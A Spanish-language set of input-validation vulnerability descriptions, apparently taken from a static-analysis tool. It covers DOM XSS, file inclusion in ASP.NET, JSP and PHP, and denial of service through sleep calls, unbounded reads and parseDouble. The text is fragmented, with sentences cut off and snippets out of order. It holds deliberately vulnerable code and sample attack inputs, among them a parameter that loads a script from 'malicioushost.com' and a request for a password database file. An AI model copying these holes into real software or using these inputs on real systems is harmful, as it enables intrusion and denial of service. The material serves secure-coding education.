Los problemas de validación y representación de entradas están causados por metacaracteres, codificaciones alternativas y representaciones numéricas. Los problemas de seguridad surgen de entradas en las que se confía. Estos problemas incluyen: «desbordamientos de búfer», ataques de «scripts de sitios», "SQL injection" y muchas otras acciones.
<div id="myDiv">
Employee ID: <input type="text" id="eid"><br>
...
<button>Show results</button>
</div>
<div id="resultsDiv">
...
</div>
$(document).ready(function(){
$("#myDiv").on("click", "button", function(){
var eid = $("#eid").val();
$("resultsDiv").append(eid);
...
});
});
eid
, contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, una vez que el usuario hace clic en el botón, el código se agrega al DOM para que el explorador lo ejecute. Si un atacante puede convencer a un usuario de introducir una entrada malintencionada en la entrada de texto, esto es solo un XSS basado en DOM.document.domain
.document.domain
y ejecutar scripts en la página como si se encontrara en el mismo dominio.domain
y se pasa como el dominio de la directiva de mismo origen (SOP) de la página.
<SCRIPT>
var pos = document.URL.indexOf("domain=")+7;
document.domain = document.URL.substring(pos,document.URL.length);
</SCRIPT>
document.domain
, de modo que, si la página se encuentra en "http://www.example.com", document.domain
se pueda definir como "www.example.com" o "example.com". No se podría definir como "com" o "example.org".
...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...
Example 1
, un atacante podría asumir por completo el control de la instrucción "include" dinámica proporcionando un valor malintencionado para includedURL
, lo que provocaría que el programa incluyese un archivo de un sitio externo.web.config
, este se puede procesar como parte de la salida HTML. Y, lo que es peor, si el atacante puede especificar una ruta a un sitio remoto controlado por este, la instrucción "include" dinámica ejecutará el código malintencionado arbitrario proporcionado por el atacante.
...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...
specialpage.jsp?template=/WEB-INF/database/passwordDB
/WEB-INF/database/passwordDB
en la página JSP, comprometiendo así la seguridad del sistema.c:import
para importar un archivo remoto especificado por el usuario en la página JSP actual.
...
<c:import url="<%= request.getParameter("privacy")%>">
...
policy.jsp?privacy=http://www.malicioushost.com/attackdata.js
register_globals
habilitada de forma predeterminada, lo que permitía a los usuarios malintencionados sobrescribir fácilmente las variables internas del servidor. A pesar de que al deshabilitar la opción register_globals
se puede limitar la exposición del programa a las vulnerabilidades de inclusión de archivos, estos problemas todavía ocurren en las aplicaciones actuales de PHP. $server_root
definida por la aplicación en una plantilla.
...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...
register_globals
está establecido como on
, un atacante podría sobrescribir el valor de $server_root
suministrando $server_root
como parámetro de solicitud, con lo que obtendría el control parcial de la instrucción "include" dinámica.
...
<?php include($_GET['headername']); ?$gt;
...
Example 2
, un atacante podría asumir por completo el control de la instrucción "include" dinámica proporcionando un valor malintencionado para headername
, lo que provocaría que el programa incluyese un archivo de un sitio externo./etc/shadow
, este se puede procesar como parte de la salida HTML. Y, lo que es peor, si el atacante puede especificar una ruta a un sitio remoto controlado por este, la instrucción "include" dinámica ejecutará el código malintencionado arbitrario proporcionado por el atacante.
...
CALL FUNCTION 'ENQUE_SLEEP'
EXPORTING
SECONDS = usrInput.
...
HttpRequest.Files
,HttpRequest.Form
,HttpRequest.Cookies
,HttpRequest.QueryString
,HttpRequest.Headers
,HttpRequest.ServerVariables
a 1000, y el tamaño se puede aumentar o disminuir usando el parámetro aspnet:MaxHttpCollectionKeys
en el archivo de configuración. Sin embargo, aumentar el tamaño a un valor más alto aumenta la probabilidad de un ataque DoS.aspnet:MaxHttpCollectionKeys
está definido como 2147483647
.
...
<appSettings>
<add key="aspnet:MaxHttpCollectionKeys" value="2147483647" />
</appSettings>
...
unsigned int usrSleepTime = uatoi(usrInput);
sleep(usrSleepTime);
Sleep(url.duration);
Future
. Si especifica un número grande, un atacante puede bloquear la función Future
indefinidamente.
final duration = Platform.environment['DURATION'];
Future.delayed(Duration(seconds: int.parse(duration!)), () => ...);
Ejemplo 2: el siguiente código lee una cadena de un archivo zip. Como utiliza el método
int usrSleepTime = Integer.parseInt(usrInput);
Thread.sleep(usrSleepTime);
readLine()
, leerá una cantidad ilimitada de datos de entrada. Un atacante podría aprovechar este código para provocar una OutOfMemoryException
o consumir una gran cantidad de memoria a fin de que el programa dedique más tiempo a realizar la recopilación de elementos no utilizados o se quede sin memoria durante alguna operación posterior.
InputStream zipInput = zipFile.getInputStream(zipEntry);
Reader zipReader = new InputStreamReader(zipInput);
BufferedReader br = new BufferedReader(zipReader);
String line = br.readLine();
Ejemplo 2: el código siguiente escribe en un archivo. Dado que se puede escribir y volver a escribir una y otra vez en el archivo hasta que el agente usuario lo considere cerrado, se ven afectados la cuota de disco, el ancho de banda de E/S y los procesos que puedan requerir un análisis del contenido del archivo.
var fsync = requestFileSystemSync(0, userInput);
function oninit(fs) {
fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
fileEntry.createWriter(function(fileWriter) {
fileWriter.seek(fileWriter.length);
var bb = new BlobBuilder();
bb.append('Appending to a file');
fileWriter.write(bb.getBlob('text/plain'));
}, errorHandler);
}, errorHandler);
}
window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);
procedure go_sleep (
usrSleepTime in NUMBER)
is
dbms_lock.sleep(usrSleepTime);
Ejemplo 2: el siguiente código lee una cadena de un archivo. Como utiliza el método
Kernel.sleep(user_input)
readline()
sin especificar un límite, leerá una cantidad ilimitada de datos de entrada. Un atacante podría aprovechar este código para provocar que el proceso se cuelgue, a la vez que consume más y más memoria, hasta que posiblemente se quede sin memoria por completo.
fd = File.new(myFile)
line = fd.readline
Formatter.format()
.
...
Formatter formatter = new Formatter(Locale.US);
String format = "The customer: %s %s has the balance %4$." + userInput + "f";
formatter.format(format, firstName, lastName, accountNo, balance);
...
java.util.MissingFormatArgumentException
y, puesto que no está en un bloque try, provocar un error en la aplicación. accountNo
confidencial en la cadena resultante.java.lang.Double.parseDouble()
y métodos relacionados que puede provocar que el subproceso se bloquee al analizar cualquier número incluido en el intervalo [2^(-1022) - 2^(-1075) : 2^(-1022) - 2^(-1076)]
. Este defecto se puede utilizar para ejecutar un ataque de denegación de servicio (DoS).
Double d = Double.parseDouble(request.getParameter("d"));
d
es un valor incluido en un intervalo como, por ejemplo, "0.0222507385850720119e-00306"
, para provocar que el programa se bloquee al procesar la solicitud.